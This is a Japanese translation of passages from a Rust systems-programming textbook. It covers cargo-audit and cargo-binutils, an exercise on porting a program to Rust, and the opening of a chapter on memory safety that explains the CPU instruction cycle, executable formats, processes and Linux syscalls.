Rustのcrateエコシステムは、ある種の「諸刃の剣」です。

  • 一方で、cargo は外部依存関係のビルドと統合を簡単で楽しいものにします(GNU make15 のような従来のシステムソフトウェア用ビルドツールと比べて)。

  • 他方で、プロフェッショナルなプロジェクトでは、驚くほど大量の依存関係がすぐに蓄積されることがあります。その多くは推移的な依存関係(依存関係の依存関係)です。

長いコンパイル時間は厄介ですが、大規模な依存関係グラフの本当の欠点はメンテナンスです。 直接依存している依存関係を最新バージョンに更新したからといって、その作者たちも同じことをしているとは限りません。 既知のセキュリティ問題を持つcrateバージョンに、直接的または間接的に依存してしまう可能性があります。

ここで登場するのが、もう1つの cargo プラグインである cargo-audit16 です。 これは、依存関係グラフ全体をスキャンし、既知の脆弱性を持つcrateバージョンを探します。 Rust Secure Code Working Group17 が管理する Rust Security Advisory Database18 に登録された公開データを使用します。

第2章の rcli ツールの完全な依存関係グラフを監査できます。 コマンドは rcli フォルダではなく、ワークスペースルートから実行することに注意してください。

cd code_snippets/chp2/crypto_tool/
cargo audit

本稿執筆時点では、このスキャンは399件のセキュリティアドバイザリ(シグネチャデータ)を読み込み、29個の依存関係(完全な依存関係グラフ)をチェックしました。

   Fetching advisory database from `https://github.com/RustSec/advisory-db.git`
      Loaded 399 security advisories (from /home/tb/.cargo/advisory-db)
    Updating crates.io index
    Scanning Cargo.lock for vulnerabilities (29 crate dependencies)

第2章の静的/動的、既知/未知の象限を覚えていますか? cargo-audit は、あなたのプロジェクトに固有のまったく新しいバグを発見することはありませんが、依存関係に対する重要な健全性チェックです。

今回の rcli プロジェクトには問題がなかったので、cargo-audit の警告やエラー出力がどのようなものか気になるかもしれません。 以下は警告のサンプルです。

Crate:         difference
Version:       2.0.0
Warning:       unmaintained
Title:         difference is unmaintained
Date:          2020-12-20
ID:            RUSTSEC-2020-0095
URL:           https://rustsec.org/advisories/RUSTSEC-2020-0095
Dependency tree:
difference 2.0.0
└── predicates 1.0.8

cargo-binutils

cargo-binutils19 は、Linuxバイナリを調査するためのコマンドラインツール群であるGNU Binutils[^GNUBinutils] のラッパーです。 ここでは、Binutilsスイート内のすべてのツールを列挙することはしません。 感覚をつかむために、size サブコマンドを使って、第2章の rcli ツールの出力バイナリに含まれる各セクションの正確なバイト数を取得できます。

cd code_snippets/chp2/crypto_tool/rcli
cargo size --release -- -A

特定の1行には、ELF20 バイナリが実行可能コードを格納する .text セクションのサイズが出力されます。

section                   size     addr
.text                   598995   0x9080

報告される正確な数値は、コンパイラのバージョンとホストアーキテクチャによって異なります。 私たちの場合、最適化付き(--release)でビルドしたとき、rcli には 599 kB の実行可能コードが含まれます。

まとめ

ファーストパーティ製ツールを使うと、テストスイートも兼ねる最新のドキュメントを生成し、最新のベストプラクティスパターンに照らしてコードをリントし、大規模な開発チーム全体で一貫したフォーマットを保証し、再現可能なビルドを容易にできます。

サードパーティ製ツールは、さまざまな補助的タスクを実行します。 上記のリストは、エコシステムに存在するもののサンプルにすぎず、より多くのツールや cargo プラグインが毎年利用可能になっています。 Rust で本番ソフトウェアを構築するなら、その言語、ツールチェーン、エコシステムに投資していることになります。 エコシステムの依存関係のバージョンは十分簡単に管理できます。SemVer12 番号は Cargo.toml で設定できます。 では、言語そのものについてはどうでしょうか?

この章の締めくくりとして、Rust ツールチェーンのリリースサイクルを簡単に見ていきます。 心配はいりません。変更は常に後方互換であり、新しいバージョンがあなたのコードを壊すことはありません。 しかし、Rust のバージョニングがどのように機能するかを理解しておくことは有用です。 最新最高のものを追いかけたい場合でも、本番運用を順調に続けたいだけの場合でも同様です。


  1. rustdoc とは?。The Rustdoc Book(2022年閲覧)。

  2. 基本構文、元の設計文書で概説された Markdown 要素。。Matt Cone(2022年閲覧)。

  3. Clippy。The Rust Team(2022年閲覧)。

  4. Clippy の lint。The Rust Team(2022年閲覧)。

  5. MachineApplicable。The Rust Team(2022年閲覧)。

  6. Trojan Source: 見えない脆弱性。Nicholas Boucher、Ross Anderson(2021年)。

  7. rustc のセキュリティアドバイザリ(CVE-2021-42574)。The Rust Team(2022年閲覧)。

  8. Rustfmt の設定。The Rust Team(2022年閲覧)。

  9. Cargo.tomlCargo.lock。The Cargo Book(2022年閲覧)。

  10. rayon。Josh Stone、Niko Matsakis(2022年閲覧)。

  11. 依存関係の指定。The Cargo Book(2022年閲覧)。

  12. セマンティック バージョニング 2.0.0。Tom Preston-Werner(2022年閲覧)。 ↩2

  13. オーバーライド。The Rustup Book(2022年閲覧)。

  14. cargo-modules。Vincent Esche(2022年閲覧)。

  15. GNU Make。The Free Software Foundation(2022年閲覧)。

  16. cargo-audit。Alex Gaynor、Tony Arcieri、Sergey Davidoff(2022年閲覧)。

  17. Secure Code Working Group。Rust Secure Code Working Group(2022年閲覧)。

  18. Rust Security Advisory Database。Rust Secure Code Working Group(2022年閲覧)。

  19. cargo-binutils。The Rust Embedded Working Group(2022年閲覧)。

  20. Tool Interface Standard(TIS)Executable and Linking Format(ELF)仕様。TIS Committee(1995年)。

ハンズオン課題: プログラムを移植する

Rustの最も重要な構文と機能の大部分を取り上げてきました。 まだRustに慣れてはいないかもしれませんが、基本は理解できたはずです。

イディオムや癖も含めて新しい言語を学ぶ優れた方法の1つは、すでに慣れ親しんでいる言語で書かれた既存のプログラムを移植することです。 それがこの課題の目標です。

既存のツールに対する優れたRust製の代替がいくつか存在するとはいえ1、私たちは「Rewrite-It-In-Rust」(RIIR)というトレンドの支持者ではありません。 大規模なソフトウェアを書き直すことはリスクの高い提案であり、多くの文脈では、その見返りには疑問があります。

通常は、既存のコードと相互運用できるように、新しい機能、新しいサービス、または強化されたコンポーネントをRustで書くほうが賢明です。 第13章では、Rustを非Rustのコードベースに統合する方法を取り上げます。

この課題の動機は、対比を通じてRustをより深く理解することです。 他の言語のすべてのイディオムやパターンがそのまま容易に移せるわけではないため、そうした違いを直接体験することは有益です。

「失敗」しても構いません

移植を試みる途中でどこか行き詰まるかもしれません。 選んだプログラムによっては、そうなるでしょう。 それで問題ありません!

そうなった場合は、この課題を「個人的な到達点」として使ってください。どこまで進めたのか、どのようなエラーだったのかを記録しておきましょう。 Rustの経験をさらに積んだあとで、この課題に戻ってくることができます。 やる気が出たときにいつでも構いません。

好きなプログラムをRustに移植する

  • 自分が知っている言語で書かれた小さなプログラム(おそらく1,000行未満)を選び、それをRustでゼロから書き直してください。自分で書いたプログラムを選ぶことをお勧めします。特に、パフォーマンス上の制約にぶつかったことがあるものならなおよいでしょう。しかし、深い関心を持っているプログラムであれば、どんなものでもよい選択です。

    • 書き直しを始める前に、プログラムの依存関係を確認してください。Rustのcrates.ioに対応するものがないライブラリを1つ以上使用している場合は、別のプログラムを選ぶか、その依存関係も自分で書く必要があります。この課題のスコープを広げすぎないでください!

CからRustへの移植を半自動化する

  • すでに経験豊富なC開発者であれば、c2rust2ツールを使って既存のCプログラムの移植を試すことができます。これは非公式のオープンソースのベストエフォート型トランスパイラで、Cソースコードを取り込み、Rustソースコードを出力します。

    • ただし、出力されるRustはイディオムに沿っておらず、入力元のCと同じくらいunsafeです。Cを安全なRustへ変換することは、プログラムの意味論を推論する必要がある未解決の研究課題です3。そのため、依然として大規模なリファクタリングを行う必要があります。

    • CFFIとunsafeを取り上げる第13章のあとで、この課題に戻りたい読者もいるかもしれません。

    • Cを書いたことがないものの、非常に勇敢で、Cを学びたい、または学ぶ必要がある場合でも、この課題に取り組むことはできます!始めるにあたって、Effective C4を1冊手に取ることをお勧めします。



  1. Awesome Alternatives in Rust。Takayuki Maeda(2022年アクセス)。

  2. c2rust。Immunant(2022年アクセス)。

  3. Translating C to Safer Rust。Mehmet Emre、Ryan Schroeder、Kyle Dewey、Ben Hardekopf(2021年)。

  4. [個人的なお気に入り] Effective C: An Introduction to Professional C Programming。Robert Seacord(2020年)。

メモリ安全性とエクスプロイトを理解する


注: このセクションは作業中です。

「ダニング=クルーガー効果」1 は皮肉な現象です。人は、特に知識や経験がほとんどない分野において、自分自身の理解や能力を過大評価しがちです。

しかし、熟練プログラマーでさえ、この効果の何らかの変種の犠牲になることがあります。 私たちの自尊心はしばしば、自分のコードが実行されたときに何が起こるのかを正確に知っていると私たちに思い込ませます。 何しろ、それを書いたのは私たちなのですから。

現実には、現代のプログラムは、さらに複雑なハードウェアとソフトウェア抽象化の階層の上に構築された、信じがたいほど複雑な装置です。 それらすべてが奇跡的に一体となって動作しています。 論理ゲートの物理からネットワークプロトコルのコーナーケースに至るまで、プログラム実行を実際に理解している人は、私たちの中でもほとんどいません。 たいていの場合、私たちは自分が扱っている層でさえ正しく扱えません。 それゆえにバージョン番号があるのです。

良い知らせは、私たちはすべてを知る必要はないということです。 第1章の Dreyfus Model では、「Competent」の段階は、学習者の知識が驚くほど限られているという無礼な気づきによって特徴づけられていました。 それに応じて、学習者は関連性の低い詳細の優先度を下げ、自分の最終目標に関係するものに集中する必要があります。 もみ殻から小麦をより分けるのです。

システムプログラミングには「コンピューターが何をしているのか」というメンタルモデルが必要ですが、それは網羅的である必要はありません。 実のところ、C や Rust のように開発者にハードウェアに対する「完全な制御」2 を与えるプログラミング言語は、主にある1つのものの概念とメカニズムを扱います。それはメモリです。

  • メモリがどのように、そしてなぜ動作するのかの大部分を理解していれば、低レベルプログラミングの習熟へと大きく近づいています。

  • 攻撃者がメモリ破壊エクスプロイトをどのように作成するのかを理解していれば、クロス言語コードや unsafe Rust に含まれる実際のバグやエクスプロイト可能な脆弱性を、それが本番環境に到達する前に見つけられる可能性が高くなります。

システムプログラミングは、単にメモリを管理する以上のものではないのですか?

もちろんです。 第1章で「システムプログラム」を定義するものについて議論した際に登場した、3人の架空のエンジニアを思い出してください。

各エンジニアは、それぞれ固有の専門性を必要とする専門分野の出身であったため、異なる見方を持っていました。 たとえば、次のようなものです。

  • 分散システム開発者は、合意プロトコルフォールトトレランスを理解しています。

  • デバイスドライバー開発者は、カーネル API割り込み処理を扱います。

  • マイクロコントローラーファームウェア開発者は、アナログコンポーネントとインターフェースし、デバイスデータシートを読みます。

しかし、システムプログラミングのこれらの側面は、主にドメイン固有のものです。 メモリを効果的に利用することは一種の普遍的なボトルネックであり、性能の高いアプリケーションを書くために必要ではありますが、それだけで十分ではありません。 ドメインに関係なくです。

この章では、メモリの制御に関連する普遍的なコンピューターアーキテクチャの原則を扱います。 すべてのシステムプログラマーが知っておくべき中核です。 第6章では、これらの原則を実践に移し、安全性と移植性の両方を最大化するスタックストレージ抽象化を実装します。

メモリ 知識の一括投入

メモリは、おそらく本書で最も重要な単一のトピックです。 これは最後の概念的な章であり、残りの冒険では Rust ライブラリを書くことに集中します。 ここでは本当に機械的な詳細に踏み込んでいくので、今のうちにコーヒーを手に取ってください(どうしてもと言うなら Yerba Mate でも構いません)。

まず、ソフトウェアの観点からメモリを見ていきます。これは、ほとんどのシステムプログラマーが日々扱っているモデルです。 次に攻撃者の観点を掘り下げ、メモリ破壊バグがどのように壊滅的なエクスプロイトへと変えられるのかを学びます。 動的デバッグについて学び、入門的で実践的なヒープエクスプロイトを行います。 ルールや前提を覆せるようになって初めて、何かがどのように動作しているのかを本当に理解できます。 少なくとも、セキュリティに関してはそうです。

メモリについてのより深い理解を携えて、Rust がどのようにメモリ安全性の保証を提供するのかを検討します。 詳しく見ていきます。

メモリ世界一周の旅の締めくくりとして、言語に依存しない緩和策を探り、実世界の Rust CVE を見ていきます。

ハードウェアの観点についてはどうですか?

付録の 基礎: メモリ階層 セクションでは、現代のメモリ階層内における性能上のトレードオフを見ながら、ハードウェア中心の視点を取ります。 このセクションの補足として強くおすすめします。

実践的な抽象化を分解する

この章の概念と可視化の動機づけとして、次の2つを仮定しましょう。

  1. フォワードエンジニアリングには、理想的な解決策を作り出すのに十分なほど、基本的な抽象化を理解することが必要です。

  2. リバースエンジニアリングエクスプロイト開発には、見かけ上理想的な解決策を覆し、信頼の前提を破るのに十分なほど、基本的な抽象化を理解することが必要です。

それを展開すると、実践的であることを願いつつも、明らかに意見の入った形で、基本的な抽象化はわずか3つになります。 予告すると、次のとおりです。

  1. アプリケーションロジック有限状態機械(FSM) - ビジネス要件やミッション要件であり、実行可能で不完全なアプリケーションとして実装されます。サーバーの Web ソケットのライフサイクルを考えてみてください。

POSIX Socket API FSM(サーバーに焦点)

  1. 実行環境 - コンパイル済みアプリケーションバイナリが、動的な実行環境/ランタイム環境にロードされたものです。OS が提供するプロセスおよびスレッド抽象化を伴います。静的メモリ、スタックメモリ、ヒープメモリによって支えられています。第4章の大部分はここにあります。

ディスク上の実行可能な内容からメモリ内プロセス空間へのマッピング。

  1. ハードウェア FSM - 中央処理装置(CPU)です。すべてのユーザーアプリケーションが最終的にエミュレートされるハードウェア FSM です。覚えておくべき重要な点です。

CPU、RAM、永続ストレージの簡略化された概要。特定のアーキテクチャに固有のものではありません。

これら3つの、ボトムアップで介在する保証概念を扱います。 他にも抽象化の図が数多く登場します。 しかし、この章を読み終えた後には、おそらく主にこれら3つのレンズを通してメモリを見るようになるでしょう。

学習成果

  • システムメモリとプログラム実行のメンタルモデルを構築する
  • メモリ安全性、型安全性、バイナリエクスプロイトのメンタルモデルを構築する
  • Mozilla rr3gdb4 の拡張版)を使って Rust コードをデバッグする方法を学ぶ
  • 攻撃者がヒープメモリ破損バグをどのように悪用するかを、ステップバイステップで理解する
  • 現代的な防御機構をバイパスしながら、初めて入門的なエクスプロイトを1つか2つ書く!
  • Rust が実際にどのようにメモリ安全性を提供しているかを、現在の制限も含めて理解する
  • 現代的で言語非依存のエクスプロイト緩和策がどのように機能するか(そしてどのように失敗し得るか)を理解する

  1. 「未熟であることに気づかない:自分自身の無能さを認識する困難が、どのように自己評価の過大化につながるか」。Justin Kruger、David Dunning(1999)

  2. プログラミングでも現代生活でも、完全な制御を手にすることは決してありません。プログラミングにおいては、コンパイラとインタプリタのどちらも、しばしば理解しがたい判断をあなたの代わりに行い(例:積極的な最適化5)、まれにバグさえ含んでいる6ためです。

  3. rr。Mozilla(2022年アクセス)。

  4. GDB: The GNU Project Debugger。GNU project(2022年アクセス)。

  5. C は低水準言語ではない:あなたのコンピュータは高速な PDP-11 ではない。。David Chisnall(2018)。

  6. 特に面白い事例の1つは CVE-2020-246587 で、コンパイラが挿入したスタック保護の失敗です。余談ですが、新しいコンパイラバージョンによって修正される脆弱性は興味深いカテゴリです。これにはハードウェア脆弱性が含まれることもあります(例:CVE-2021-354658)。

  7. CVE-2020-24658 の詳細。National Institute of Standards and Technology(2020)。

  8. VLLDM 命令のセキュリティ脆弱性。ARM(2021)。

ソフトウェアの視点:CPUからプロセスへ

私たちは「機械が何をしているのか」についてのメンタルモデルを構築したいと考えています。 機械的なレベルで、コンピューターがメモリ内のプログラムをどのように実行するのかについてです。 システムプログラマーは、このモデルの制約の中で効率的なプログラムを書きます。 エクスプロイト開発者は、脆弱なプログラムの制御を奪うためにこれを悪用します。

私たちのメンタルモデルは、現実のあらゆる複雑な詳細を反映する必要はないことを思い出してください。 技術的にはより正確であっても、より複雑なモデルが必ずしもより有用なモデルであるとは限りません。 私たちが主に関心を持っているのは、あらゆる「低レベル」1言語の中核にある単一の概念、すなわちランタイムメモリ管理です。

それには、前章で言及した2つのメモリ領域であるスタックヒープがどのように機能するかを理解することが含まれます。 かなり詳細にです。 スタックから始める理由は2つあります。

  1. 普遍性 - スタックメモリは、最小のマイクロコントローラーから最も強力なサーバーまで、あらゆるシステムに存在します。ヒープメモリの使用は一般的ですが、任意でもあります。非組み込みプログラムは、性能や移植性のためにヒープ割り当てを避けることを選択できますが、組み込みプラットフォームではヒープをまったくサポートしていない場合があります。スタックメモリは常に関与しています。

  2. 単純性 - スタックメモリはハードウェアサポートによって実装され、その操作は比較的単純です。スタックにフレームをプッシュ(追加)し、先頭からフレームをポップ(削除)できます。対照的に、ヒープメモリのロジックは複雑で、ソフトウェアによって制御されます。スタックメモリは一般論として議論できますが、ヒープの基礎を理解するには特定のアロケータの実装を調べる必要があります(これは後で行います!)。

スタックメモリそのものへ進む前に(push に掛けた洒落です)、CPUとプログラムのロードという2つの前提事項を簡単に取り上げる必要があります。 どちらのトピックもそれだけで技術書が丸ごと一冊書けるものなので、ランタイムスタックのメンタルモデルの足場となる程度の詳細だけを図示します。

どのような種類の「組み込みシステム」がヒープメモリを使わないのでしょうか?

「組み込みシステム」は非常に広い用語で、無意味と言ってよいほどです。 少なくとも、より具体的な文脈がなければそうです。 一般的な議論を助けるために、Muenchら2は、実用的な区別に役立つ分類法を提案しています。

  • Type-I: 汎用OSベースのデバイス - 一般的なデスクトップ/サーバーソフトウェアを「スリム化」したバージョン。

    • 例: Linuxカーネルを組み込んだ自動車のインフォテインメントシステム。
    • スタックメモリとヒープメモリの両方をサポートします。
  • Type-II: 組み込みOSベースのデバイス - 低リソースおよび/または単一目的プラットフォーム向けのカスタムソフトウェア。

    • 例: VxWorks RTOS3で動作するNASAの火星探査ローバー。
    • スタックメモリをサポートし、ヒープメモリの使用は任意/モジュール式です。
  • Type-III: OS抽象化を持たないデバイス - ソフトウェアスタック全体が「モノリシックファームウェア」であり、外部イベント(例:周辺機器によってトリガーされる割り込み)に時折対応する単一の制御ループです。

    • 例: 位置の三辺測量にカスタムファームウェアを使用するGPS受信機。
    • 多くの場合、スタックメモリのみに制限されます4

スタックメモリは、3種類すべての組み込みシステムの動作に不可欠です。 これはプログラムランタイムの普遍的な抽象化だと考えてください。

このセクションの残りの部分では、Type-IおよびType-IIシステム5を扱います。 私たちの可視化では一般に、仮想メモリやプロセスのような基本的なOS抽象化が存在することを前提としています。

CPUとRAM

CPU、RAM、永続ストレージの簡略化した概要。特定のアーキテクチャに固有のものではありません。

メインメモリ、つまり物理マシンのRandom Access Memory(RAM)は、あらゆる非自明なランタイム計算を支えています。 それが保存し、操作するビットパターンは、2つの異なるものを表現します。

  • データ - あらゆる情報を表す可変長のバイト列:ハードコードされた文字列、カラーコード、数値、画像ファイルや動画ファイル全体など。各バイトは個別にアドレス指定できますが、性能のためにはワードアラインされたアクセスが望ましいことがよくあります。

    • データはディスクやネットワーク(例:永続ストレージ)に書き込んだり、そこから読み出したりできますが、プログラムによる更新では必ず、データをRAM(例:揮発性ストレージ)に読み込み、変更を行い、それを書き戻すことになります。
  • コード - 短いバイト列としてエンコードされたネイティブCPU命令。上の図では、すべての有効な命令が同じ長さであると仮定しています6ワードとは、CPUの「自然な」データ単位(そのハードウェアが効率的に操作するよう設計されているもの)です。

    • 命令は低レベルの操作に焦点を当てます:算術、ブール論理、条件テスト、メモリ内のデータ移動などです。任意に複雑なプログラムは、これらの基本操作の長い列へ分解できます7。アセンブリ言語は、生の命令エンコーディング(別名「機械語」)を人間が読める形で表現したものです。

Central Processing Unit(CPU)は、レジスタと呼ばれる中間結果を保存するための小さな「作業領域」を備えた、非常に高速な命令処理ステートマシンです。 最終結果はRAMに書き戻されます。 レジスタには2種類あります。

  1. 汎用(GP*)レジスタは、任意の時点で任意の種類の結果を保存できます。

  2. 特殊目的レジスタ(例:IPSPCCR)は、結果処理中の内部状態を追跡するために使用されます。

では、実際には処理はどのように機能するのでしょうか? 命令とデータの両方が、データバス8を介してCPUとRAMの間を行き来します。 アドレスバスにより、CPUは読み取りまたは書き込み対象となる特定のメモリ位置とデータサイズを指定できます。 すべてのCPUは、3ステップの命令サイクルを継続的に繰り返します(下の各ステップを上の図で追ってみてください)。

  1. フェッチ - Instruction Pointer (IP) レジスタ9が現在指している RAM から命令を読み取る。次の命令を指すように IP を更新する。

    • 上図: CPU は現在の IP 値をアドレスバス経由で送信し、その値が指す命令をデータバス経由で受け取る。
  2. デコード - フェッチした命令の意味を解釈する。命令には必ず opcode(その操作を一意に表すエンコード)が含まれていなければならないが、operands(操作の引数)やプレフィックス(振る舞いを修飾するもの)が含まれる場合もある。

    • 上図: CPU は受け取った命令のセマンティクスを解読する。
  3. 実行 - 命令を実行して副作用を生成する。内部的には、これは Control Unit (CU) が命令固有の信号を機能ユニットへ渡すことを意味する。たとえば、Arithmetic Logic Unit (ALU) は、レジスタ値に対して数学的演算を実行する機能ユニットである。

    • 上図: 命令に応じて、CPU は SPCCR、および GP* レジスタを更新する。さらに:

      • 命令が書き込みを行う場合、CPU は書き込み先のアドレスをアドレスバス経由で送信し、書き込むデータをデータバス経由で送信する。

      • 命令が読み取りを行う場合、CPU は読み取り先のアドレスをアドレスバス経由で送信し、対応するデータをデータバス経由で受信する。

現代の CPU は、命令サイクルを高速化するために、命令パイプライン10や投機的実行11のような複雑な最適化に依存している。 幸いなことに、日々のプログラミングでそのような細かな事項を考慮したり理解したりする必要はない。

一方で、さまざまなレジスタの役割は、実用的なメンタルモデルにとって重要である。 IP に加えて、注目に値する 2 つの特殊目的レジスタは次のとおりである。

  • Stack Pointer (SP) レジスタ - 現在のスタックフレームの底を示すアドレス。スタックフレームは、計算を行い、関数ローカル な結果を保存するための、関数の RAM 上の「メモ帳」に似ている。

    • let x = 3 + 6; という文では、x はレジスタを使って計算され、その後、値 9 がスタックに格納される12。これにより、プログラム内で複数の関数が呼び出されるときに、CPU は小さく固定された GP* レジスタ群を新しい計算に再利用できる。
  • Condition Code Register (CCR) レジスタは、プロセッサの現在のステータスフラグビットを集める。このレジスタは、さまざまな用途の中でも、条件付きロジックの実装に役立つ。たとえば、ある操作の結果がゼロでない場合に命令ポインタを特定の位置へ「ジャンプ」させる、といったものだ。

    • この単一のレジスタによって、プログラマーとして頼りにしている if 文や for ループのような、すべての制御フロー構造13が実現される。if z == true { do_1(); } else { do_2(); } は、「ztrue の等価性をテストし、等しければ CCR 内の等価フラグを設定する。CCR 内のこの等価フラグが設定されていれば、do_1() にジャンプして実行し、そうでなければ do_2() にジャンプして実行する」へと展開される。

まとめよう。CPU は RAM から命令を継続的に読み取り実行し、内部レジスタを更新してから、RAM からデータを読み取る、または RAM へデータを書き込む。

ハードウェアがどのように計算を支えているかという基本を理解したので、スタックメモリについて議論する準備はほぼ整った。 しかしその前に、もう 1 つの概念を理解する必要がある。それはプロセス、つまり OS レベルの重要な抽象化である。

実行可能ファイル vs プロセス

コンパイラがプログラムを出力するとき、それはディスク上に保存された実行可能ファイルとして表現される。 オペレーティングシステムは、実行可能ファイルの構造を標準化するために、異なるファイル形式を使用する。Windows では PE、Linux では ELF、MacOS では Mach-O である。 どの形式にも、次のものを格納するセクションが含まれる。

  • ヘッダー(どの形式でもファイルの先頭) - さまざまなメタデータを含む。ファイルタイプの識別子、内容の説明、追加セクションおよび特殊なテーブル(例: Linux のセクションヘッダーテーブル)のオフセットなど。

  • 実行可能コード(Linux では .text セクション) - コンパイルされたプログラムのロジックをエンコードした命令。プログラマーとしてのあなたの苦労の大部分はここに存在する!

  • 読み取り専用データ(Linux では .rodata セクション) - 静的文字列やハードコードされたルックアップテーブルのような定数値。

  • 書き込み可能データ(Linux では .data) - 初期化済みで書き込み可能なグローバル変数およびバッファ。余談: 初期化されていないデータには専用のセクションがある(Linux では .bss。実際にはゼロ初期化されることが多い)。

プロセス は、現在実行中の実行可能ファイルのインスタンスである。 つまり、OS がそのプロセスに CPU 時間を割り当てるようスケジュールしており、実行可能ファイルのバイト列が、先に述べたフェッチ/デコード/実行サイクルを回っていくことになる。

OS のローダーは、ディスク上の実行可能ファイルの内容を取り出し、それらをメモリに配置し、そのメモリをプログラム実行に備えて準備する。 コンパイル時またはロード時に、複数の実行可能ファイル由来である可能性もあるコードやデータのさまざまな断片を結合するために、リンカーが関与する場合もある。 第 2 章での静的リンクと動的リンクに関する議論を思い出してほしい。 いずれにせよ、ロードの最終結果はおおよそ次のようになる。

ディスク上の実行可能ファイルの内容から、メモリ上のプロセス空間へのマッピング。

仮想メモリ と呼ばれる OS 提供の抽象化により、プロセスは、ほぼ無限で完全に線形なアドレス空間において、自分が唯一の存在であると仮定できる。 実用上のあらゆる意図と目的において、そのメモリレイアウトは上図の右側である。

この仮想レイアウトから、他のプロセスと共有される物理ストレージへのマッピングを維持することは、OS の仕事である。 そしてこれは、日々のシステムプログラミングタスクのほとんどで安全に無視できる複雑さの層である。 覚えておこう。完全に詳細なモデルが最も実用的であることはめったにない。それこそが抽象化設計の美点である!

このセクションで最も重要な要点は、図の右側である。 具体的には、実行可能コード、静的メモリ、スタックメモリ、ヒープメモリが、同じプロセスアドレス空間内でどのように共存しているかである。 通常の実行もプログラムの悪用も、このメモリモデルの範囲内で発生する。 これは、システムコードを書くときにあなたが推論する対象である。 記憶しておくことが重要だ。メモリだけに。

Linuxのプロセスとシステムコール

プロセスはシステムプログラミングにおける重要な概念です。 少し寄り道して、より広い文脈について説明しましょう。

プロセスはユーザーによって、またユーザーのために実行されます。 そのため、プロセスは「ユーザー空間アプリケーション」と呼ばれることがあります。 これらには特別な権限はなく、つまり「リング3」で実行されます。これはコードが動作できる最も権限の低いモードです14。 多数のプロセスが同時に実行されますが、それぞれは自分自身の仮想アドレス空間の外にあるものを読み書きすることはできません。

では、OSカーネル自体はどうでしょうか? そのコード、データ、スタック、ヒープは、隔離されたメモリ領域である「カーネル空間」に格納されます。 カーネルは、利用可能な中で最も権限の高いモードである「リング0」で実行されます。 カーネルは任意のプロセスのメモリを読み書きでき、ハードウェアに直接アクセスし、特別なCPU機能を制御できます。

リング2と3は、実際にはほとんど使われません14。 これらのモードは、カーネルがベンダー固有のハードウェアと通信できるようにする特別なプログラムであるデバイスドライバー向けに意図されていました。 実際には、ほとんどのデバイスドライバーはカーネルに直接ロードされ、リング0でカーネルと並んで実行されます(これにより、OSの大きな攻撃対象領域が生じます15)。

ユーザー空間プログラムが特権操作(例: 新しいプロセスを生成する)を実行したり、ハードウェアとやり取りしたり(例: ディスクからファイルを読み取る、またはネットワーク経由でリクエストを送信する)する必要がある場合、カーネルにリクエストを行わなければなりません。 そのようなリクエストのための低レベルAPIは「システムコール」と呼ばれ、略して「syscall」と呼ばれます。 Linuxカーネルは400を超えるシステムコールをサポートしており、その一部はアーキテクチャ固有です16。 プロセスのライフサイクルを管理するための一般的な2つのsyscallを考えてみましょう。

  • fork(プロセスを複製するためのsyscall) - プロセスは自分自身のコピーを作成できます。スクリプトは補助タスクを並列に実行したい場合があり、Webサーバーはより多くのリクエストに対応できるようスケールしたい場合があります。forkされたプロセスのメモリはコピーオンライトです。元の(「親」)プロセスと新しいコピー(「子」)は、それぞれ異なる仮想アドレス空間を見ますが、共通の要素(例: 同一のコードセクション、読み取り専用またはまだ変更されていないデータ)は物理RAM上に一度だけ現れます。

  • execve(実行可能ファイルをロードするためのsyscall) - あるプログラムは別のプログラムを実行できます。それを行うためのシステムコールは新しいプロセスを作成するのではなく、現在のプロセス内に新しいプログラムをロードして実行します。つまり、以前の内容をすべて上書きします。新しいセグメントは、新しいプログラムの実行可能ファイルによって裏付けられます。

例を使って、これら2つのsyscallを組み合わせてみましょう。コマンドラインシェルはどのように動作するのでしょうか? コマンドを入力すると、シェルは子をforkします。 子には実行可能ファイルのパスと引数が入力として与えられ、要求されたアプリケーションで自分自身を置き換えるためにexecveを呼び出します。 親プロセスとして実行され続けているシェルは、パイプを通じて出力をキャプチャします。通常、通常の出力にはstdout、エラー出力にはstderrが使われます。

要点

中央処理装置(CPU)は、メインメモリまたはRandom Access Memory(RAM)に対して継続的に動作する小さな状態機械です。 RAMはコードとデータの両方を格納します。 CPUはRAMから命令(コード)をフェッチし、デコードし、実行し、該当する場合は結果(データ)を書き戻します。

プログラムが実行される前には、メモリにロードされ、プロセスを作成する必要があります。 これには、その実行可能コードをRAMにマッピングし、3つの特別なメモリ領域を設定することが含まれます。

  1. 静的メモリ - グローバル変数と定数を格納します。
  2. スタックメモリ - ローカル変数を含む関数フレームを格納します。
  3. [任意]ヒープメモリ - 関数とスレッド間で共有されるデータを格納します。

次にスタックメモリと静的メモリを扱います。 言語に依存しない信頼性パターンの文脈で。 ヒープメモリは少し後で登場します!


  1. 「低レベル」は、プログラミング言語に適用するには曖昧で、多義的になり得る用語です。この用語をどのように使っているかについては、第1章の“Languages by Level”セクションで簡単に説明しました。

  2. What You Corrupt Is Not What You Crash: Challenges in Fuzzing Embedded Devices。Marius Muench、Jan Stijohann、Frank Kargl、Aurelien Francillon、Davide Balzarotti(2018)。

  3. An Overview of the Mars Exploration Rovers Flight Software。Glenn Reeves(2014)。

  4. 技術的には、Type-IIIシステムはファームウェアビルドの一部としてカスタムアロケーターを明示的にリンクでき、実質的にヒープサポートを「自前で持ち込む」ことができます。しかし、多くの、もしそれが大多数でないとしても、単一目的のデバイスはそうしません。これはリソースおよび/または信頼性の制約によるものです。

  5. 興味のある方へ: Type-IIIシステムは、Read-Only Memory(ROM)に直接焼き込まれたプログラムを1つだけ持つことができ、そのエントリーポイントはデバイスのリセット時にジャンプされます。汎用システムとは異なり、任意の実行可能ファイルを実行できる柔軟性を必要としません。したがって、上で図示したプロセス抽象化は必要ありません。

  6. これは、固定長エンコーディングを使用する32ビットおよび64ビットARMのような特定のInstruction Set Architecture(ISA)に当てはまります。x86のような他のISAは可変長エンコーディングを使用します。64ビットx86では、命令の長さは1バイトから15バイトまで変化します。想像できるように、その可変性はソフトウェア逆アセンブラーに課題を生みます。

  7. xoreaxeaxeax/movfuscator。Chris Domas(2023年アクセス)。実際、任意のプログラムはたった1種類の命令、つまりmovのシーケンスに分解できます!効率的ではありませんが、効果的な難読化技術です。

  8. データバスのハードウェア実装は、各車線がCPUとRAMの間の物理的な電気接続である複数車線の高速道路に似ています。

  9. Instruction Pointer(IP)はProgram Counter(PC)と呼ばれることがよくありますが、本書ではIPで統一します。

  10. Instruction pipelining。Wikipedia(2022年アクセス)。

  11. Speculative execution。Wikipedia(2022年アクセス)。

